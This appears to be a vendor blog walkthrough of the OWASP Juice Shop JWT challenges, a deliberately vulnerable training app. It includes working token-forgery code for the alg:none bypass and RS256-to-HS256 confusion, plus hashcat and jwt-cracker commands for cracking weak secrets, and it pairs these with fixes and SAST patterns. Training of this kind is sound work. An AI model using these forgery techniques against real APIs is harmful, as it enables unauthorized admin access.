OWASP Juice Shop’s JWT (JSON Web Token) challenges are among the most technically interesting in the scoreboard. They cover three distinct real-world JWT attack classes — the alg:none bypass, RS256→HS256 algorithm confusion, and weak secret brute-forcing — all of which appear regularly in real enterprise API security assessments.
This walkthrough covers every JWT challenge in Juice Shop, explains the underlying vulnerability mechanics, shows the exploitation steps, and provides the correct fixes.
Before starting, get Juice Shop running:
docker run --rm -p 3000:3000 bkimminich/juice-shop
Open http://localhost:3000/ and keep your browser’s DevTools Network tab open throughout — you’ll need to inspect and modify JWT tokens in requests.
Understanding JWT Basics
Before attacking JWT, understand the structure. A JWT looks like this:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInJvbGUiOiJhZG1pbiJ9fQ.SIGNATURE
It has three base64url-encoded parts separated by dots:
- Header — specifies the algorithm:
{"alg":"RS256","typ":"JWT"} - Payload — the claims:
{"data":{"id":1,"email":"[email protected]","role":"admin"}} - Signature — cryptographic proof of integrity
The security of JWT depends entirely on the server correctly verifying the signature. When that verification is broken or bypassable, an attacker can forge arbitrary payloads — including admin tokens.
Juice Shop JWT Architecture
Juice Shop uses JWTs for all authentication after login. When you log in:
POST /rest/user/login
{"email":"[email protected]","password":"password123"}
Response:
{"authentication":{"token":"eyJ...","upcomingnonce":...}}
The token is stored in the browser’s localStorage under the key token. Every subsequent authenticated request includes it:
Authorization: Bearer eyJ...
Juice Shop’s JWT implementation contains multiple intentional weaknesses for the challenge set. Let’s exploit them.
Challenge 1: Forged Admin Token via alg:none (⭐⭐⭐⭐)
Category: Broken Authentication
Goal: Forge a JWT that grants admin access without knowing any signing key.
The Vulnerability: Algorithm Confusion with alg:none
The JWT specification includes an algorithm value none, intended for “unsecured JWTs” in environments where integrity is guaranteed by other means. Some JWT libraries, when they encounter alg:none in the token header, skip signature verification entirely — because the specification says an unsecured JWT has no signature.
An attacker can exploit this by:
- Decoding an existing legitimate JWT
- Modifying the payload (changing
roleto"admin", or changing the email to an admin account) - Setting the algorithm to
nonein the header - Removing the signature (but keeping the trailing dot)
- Sending the forged token to the server
If the server’s JWT library accepts alg:none without verification, the forged token is accepted.
Step-by-Step: Forging the Admin Token
Step 1: Get a legitimate JWT
Log in to any Juice Shop account (register one if needed). Open DevTools → Application → Local Storage → http://localhost:3000/. Copy the value stored under token.
Step 2: Decode the JWT
Split the token at the dots. The first two parts are base64url-encoded. Decode them:
// In the browser console:
const token = localStorage.getItem('token');
const [header, payload, sig] = token.split('.');
// Decode (base64url to JSON)
const h = JSON.parse(atob(header.replace(/-/g,'+').replace(/_/g,'/')));
const p = JSON.parse(atob(payload.replace(/-/g,'+').replace(/_/g,'/')));
console.log('Header:', h);
console.log('Payload:', p);
You’ll see something like:
Header: {"alg":"RS256","typ":"JWT"}
Payload: {"status":"success","data":{"id":6,"email":"[email protected]","role":"customer"},"iat":...,"exp":...}
Step 3: Modify the payload
Change the email and role to admin values:
{"status":"success","data":{"id":1,"email":"[email protected]","role":"admin"},"iat":1234567890,"exp":9999999999}
Step 4: Encode the forged header and payload
// Create forged header (alg: none)
const forgedHeader = btoa(JSON.stringify({"alg":"none","typ":"JWT"}))
.replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');
// Create forged payload
const forgedPayload = btoa(JSON.stringify({
"status":"success",
"data":{"id":1,"email":"[email protected]","role":"admin"},
"iat":1234567890,
"exp":9999999999
})).replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');
// Construct forged token (no signature, but with trailing dot)
const forgedToken = forgedHeader + '.' + forgedPayload + '.';
console.log('Forged token:', forgedToken);
Step 5: Send the forged token
Replace the stored token and make an authenticated request:
// Set the forged token in localStorage
localStorage.setItem('token', forgedToken);
// Make an authenticated API request as admin
fetch('/api/Users/', {
headers: { 'Authorization': 'Bearer ' + forgedToken }
}).then(r => r.json()).then(console.log);
If Juice Shop’s JWT middleware accepts alg:none, this returns the full user list — an admin-only endpoint. The Juice Shop challenge notification confirms the solve.
Alternatively, use jwt.io or a JWT manipulation tool to craft the forged token visually, then send it via Burp Suite’s Repeater.
Challenge 2: RS256 → HS256 Algorithm Confusion (⭐⭐⭐⭐⭐)
Category: Broken Authentication
Goal: Forge an admin JWT by exploiting algorithm confusion between RS256 (asymmetric) and HS256 (symmetric).
The Vulnerability: Asymmetric to Symmetric Algorithm Confusion
This is one of the most elegant JWT attacks. Here’s the setup:
- Juice Shop signs tokens with RS256 — a private RSA key signs, and the corresponding public key verifies
- The server’s public key is available (public keys are, by definition, meant to be shared)
- Some vulnerable JWT libraries, when they see a token with
alg:HS256, use the same key material for verification — but in HS256, the “key” is the HMAC secret, not a public key
The attack: Take the server’s RSA public key and use it as the HS256 HMAC secret. Sign a forged JWT with HS256 using the public key as the secret. Submit it to the server. If the server’s JWT library is vulnerable, it will:
- See
alg:HS256in the header - Look up the key material (expecting an HMAC secret)
- Use the RSA public key as the HMAC secret (since it’s what’s configured as the verification key)
- Verify successfully — because the attacker signed with the same public key
The server’s public key is not secret — it’s designed to be public. But in this attack, it becomes the attacker’s signing secret.
Step-by-Step: RS256→HS256 Confusion Attack
Step 1: Obtain the server’s public key
Juice Shop exposes its RSA public key at:
http://localhost:3000/encryptionkeys/jwt.pub
Copy the public key:
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA8J... [public key content] ...AQAB
-----END RSA PUBLIC KEY-----
Step 2: Craft the forged HS256 token
Use a tool that supports JWT manipulation (Python’s PyJWT, or a custom script):
import jwt
import base64
# The server's RSA public key (from /encryptionkeys/jwt.pub)
public_key = b"""-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA...
-----END RSA PUBLIC KEY-----"""
# The admin payload
admin_payload = {
"status": "success",
"data": {
"id": 1,
"email": "[email protected]",
"role": "admin"
},
"iat": 1234567890,
"exp": 9999999999
}
# Sign with HS256, using the RSA public key as the HMAC secret
forged_token = jwt.encode(
admin_payload,
public_key, # RSA public key used as HMAC secret
algorithm="HS256"
)
print("Forged token:", forged_token)
Step 3: Send the forged token
Replace the Authorization: Bearer header in a request to an admin-only endpoint with the forged token. The challenge notification fires when the server accepts it.
This attack works in Juice Shop because the underlying JWT library (in vulnerable configurations) uses the same key material for both RS256 verification and HS256 verification — meaning the public key (which the attacker knows) can be used as the HS256 secret.
Challenge 3: Weak JWT Secret Brute-Force (⭐⭐⭐)
Category: Broken Authentication
Goal: Crack Juice Shop’s HMAC-based JWT secret by brute-force, then forge a token.
The Vulnerability: Predictable or Weak HMAC Secret
Some Juice Shop configurations use HS256 (HMAC-based signing) rather than RS256. HS256 uses a shared secret for both signing and verification. If that secret is weak — a dictionary word, short string, or default value — it can be brute-forced offline.
Unlike brute-forcing a login endpoint (which is rate-limited and server-detected), brute-forcing a JWT secret is entirely offline. The attacker needs only a valid JWT token (obtained by logging in with their own credentials) and a password wordlist.
Step-by-Step: JWT Secret Brute-Force
Step 1: Get a legitimate JWT token
Log in as any user and copy the JWT from localStorage.
Step 2: Brute-force the secret
Use hashcat or the dedicated jwt-cracker tool:
# Using hashcat — mode 16500 is JWT HS256
hashcat -a 0 -m 16500 \
"eyJ....[your.jwt.token.here]" \
/usr/share/wordlists/rockyou.txt
# Using jwt-cracker (Node.js)
npx jwt-cracker \
"eyJ....[your.jwt.token.here]" \
--alphabet abcdefghijklmnopqrstuvwxyz \
--max-length 8
If the secret is in the wordlist (Juice Shop uses a secret that can be found in standard wordlists for this challenge), the tool outputs:
[CRACKED] Secret: "s3cr3t"
Step 3: Forge an admin token with the cracked secret
import jwt
# Cracked secret
secret = "s3cr3t"
# Forge admin payload
admin_payload = {
"status": "success",
"data": {
"id": 1,
"email": "[email protected]",
"role": "admin"
},
"iat": 1234567890,
"exp": 9999999999
}
forged_token = jwt.encode(admin_payload, secret, algorithm="HS256")
print("Forged admin token:", forged_token)
Submit this token in an Authorization: Bearer header — the server verifies it correctly (the secret matches) and accepts it as a valid admin session.
Why JWT Vulnerabilities Matter in Production
Every JWT vulnerability in Juice Shop directly maps to real vulnerabilities found in production APIs:
alg:none in the Wild
The alg:none attack affected multiple production JWT libraries before it was widely understood. Vulnerabilities tracked as CVE-2015-9235 and similar affected early versions of popular Node.js, PHP, and Python JWT libraries. Any application using an unpatched library from the 2015–2018 era may still be vulnerable if it was never updated.
RS256→HS256 Confusion in Production
This attack was first described by Tim McLean in 2015. It affected the PHP library firebase/php-jwt (before version 3.0) and many others. Production APIs that handle asymmetric-to-symmetric algorithm downgrade without explicitly rejecting algorithm switching are still vulnerable.
Weak Secrets in Production
JWT libraries set no minimum entropy requirement on HMAC secrets. Applications that use short passwords, config file defaults, or developer-assigned strings like "secret" or "myapp" as JWT secrets are vulnerable to offline brute-force. This is particularly common in:
- Applications migrated from session cookies to JWT (the session secret was reused)
- Applications that copy code from tutorials using
"secret"as the example key - APIs where the JWT secret is stored in a
.envfile committed to version control
How to Fix JWT Vulnerabilities
Fix 1: Reject the alg:none Algorithm
Never allow alg:none in token verification. The fix is explicit:
// Node.js — jsonwebtoken library
const jwt = require('jsonwebtoken');
// VULNERABLE: algorithm not specified — accepts whatever the token says
jwt.verify(token, publicKey);
// SECURE: explicitly specify the allowed algorithm(s)
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
// This rejects alg:none and any other algorithm not in the list
# Python — PyJWT
import jwt
# VULNERABLE: no algorithm restriction
decoded = jwt.decode(token, public_key, options={"verify_signature": True})
# SECURE: specify allowed algorithms
decoded = jwt.decode(token, public_key, algorithms=["RS256"])
# Raises jwt.exceptions.InvalidAlgorithmError for alg:none or HS256
Fix 2: Prevent RS256→HS256 Confusion
The simplest fix is to specify a strict algorithm allowlist when verifying tokens. Never allow both symmetric and asymmetric algorithms for the same endpoint:
// Node.js — restrict to RS256 only
const decoded = jwt.verify(token, rsaPublicKey, { algorithms: ['RS256'] });
// Now an HS256 token (using the public key as the HMAC secret) is rejected
// because HS256 is not in the allowed list
Additionally, load your verification key explicitly as a KeyObject with the correct type to prevent type confusion at the library level.
Fix 3: Use Strong JWT Secrets
For applications using HS256, the HMAC secret must have sufficient entropy:
// VULNERABLE: short, dictionary-word secret
const JWT_SECRET = 'secret';
// SECURE: cryptographically random 256-bit secret
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(32).toString('hex');
// Store in environment variable or secrets manager — never hardcode
# Generate a strong secret (256 bits)
openssl rand -hex 32
# → a3f8d2c1b4e5...
Store this secret in a secrets manager (AWS Secrets Manager, HashiCorp Vault, Azure Key Vault) — never in source code or version-controlled .env files.
Fix 4: Validate All JWT Claims
Even with correct signature verification, validate the payload claims:
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'https://your-app.com',
audience: 'your-api',
});
// Then validate the role explicitly server-side:
if (decoded.data.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
Never trust the role, isAdmin, or privilege claims in a JWT without verifying the signature first — and never use client-supplied role values without verification.
SAST Detection of JWT Vulnerabilities
A SAST tool with JWT-aware detection should flag:
| Pattern | Finding |
|---|---|
jwt.verify(token, key) without algorithms option | Algorithm not restricted — vulnerable to alg:none and confusion attacks |
| JWT secret assigned from a string literal | Hardcoded JWT secret (CWE-798) |
JWT secret loaded from a weak source ('secret', 'password') | Predictable JWT secret |
Both RS256 and HS256 in the algorithms array | Algorithm confusion risk |
Offensive360 SAST flags these patterns in Node.js, Python, Java, C#, Go, and Ruby JWT implementations, with data-flow tracing from the secret source through to the verification call.
Connecting JWT Challenges to Other Juice Shop Challenges
After completing the JWT challenges, several related Juice Shop challenges become accessible:
| Challenge | Connection |
|---|---|
| Login Admin (SQLi) (⭐⭐) | Alternative path to admin access — compare the SQLi approach to the JWT approach |
| Admin Section (⭐⭐) | Accessing /#/administration — requires admin role (achievable via JWT forgery) |
| Five-Star Feedback (⭐⭐⭐) | Deleting a five-star review — requires admin API access |
| Forged Review (⭐⭐⭐) | Post a review as another user — requires manipulating the JWT’s user ID field |
The JWT challenges teach a critical lesson: authentication is only as strong as the cryptographic verification behind it. A JWT with a forged payload that passes signature verification grants exactly the same access as a legitimately issued token — from the server’s perspective, they’re indistinguishable.
Frequently Asked Questions
Do I need to know cryptography to solve the Juice Shop JWT challenges?
No — a basic understanding of what JWTs are helps, but you don’t need to understand RSA or HMAC mathematics. The alg:none attack requires only the ability to base64-encode and decode strings. The RS256→HS256 attack requires a Python script or a tool like jwt.io’s JWT editor (with the algorithm confusion plugin). The brute-force challenge requires running hashcat with a wordlist.
Which JWT challenge is the hardest?
The RS256→HS256 algorithm confusion (five-star) is the most conceptually complex — it requires understanding why the public key can act as an HMAC secret. The alg:none attack (four-star) is conceptually simpler but requires more careful token construction. The brute-force challenge (three-star) is mechanically straightforward once you have hashcat set up.
Are these vulnerabilities still found in real applications?
Yes, regularly. The alg:none vulnerability appears in applications running unpatched JWT libraries from before 2018. Algorithm confusion attacks appear in applications using multiple JWT algorithm types (e.g., supporting both RS256 for service-to-service and HS256 for user sessions). Weak JWT secrets appear in nearly every codebase audit — developers frequently use short, memorable strings as JWT secrets, especially in early development, and those values often persist into production.
What tools help with JWT challenges?
- jwt.io — online JWT decoder and encoder; excellent for manual token manipulation
- Burp Suite (with JWT Editor plugin) — intercept and modify JWT tokens in HTTP requests
- hashcat — offline JWT secret brute-forcing
- PyJWT (Python) — programmatic JWT creation and signing
- jwt_tool (Python) — dedicated JWT attack toolkit covering all major JWT attack classes
Summary
Juice Shop’s JWT challenges cover the three most critical JWT attack classes in real-world API security:
| Challenge | Attack | Difficulty | Key Insight |
|---|---|---|---|
alg:none bypass | Remove signature, set algorithm to none | ⭐⭐⭐⭐ | Server must explicitly reject alg:none |
| RS256→HS256 confusion | Sign HS256 with the server’s public key | ⭐⭐⭐⭐⭐ | Public key becomes attacker’s HMAC secret |
| Weak secret brute-force | Crack HMAC secret offline | ⭐⭐⭐ | JWT secrets must have high entropy |
All three attacks exploit failures in JWT verification — not the JWT format itself. The format is fine; the implementations are broken. The fix in every case is the same: explicitly specify the allowed algorithm(s), use cryptographically strong secrets, and never trust user-supplied algorithm or role values without verification.
For the complete Juice Shop challenge catalog and solutions across all categories, see the OWASP Juice Shop challenge solutions guide. For a broader guide to all Juice Shop vulnerability classes, see the complete OWASP Juice Shop guide.
Offensive360 SAST detects JWT algorithm flexibility vulnerabilities, hardcoded JWT secrets, and missing algorithm restrictions across Node.js, Python, Java, Go, and C# codebases. Book a demo — results in minutes, source code stays on your server.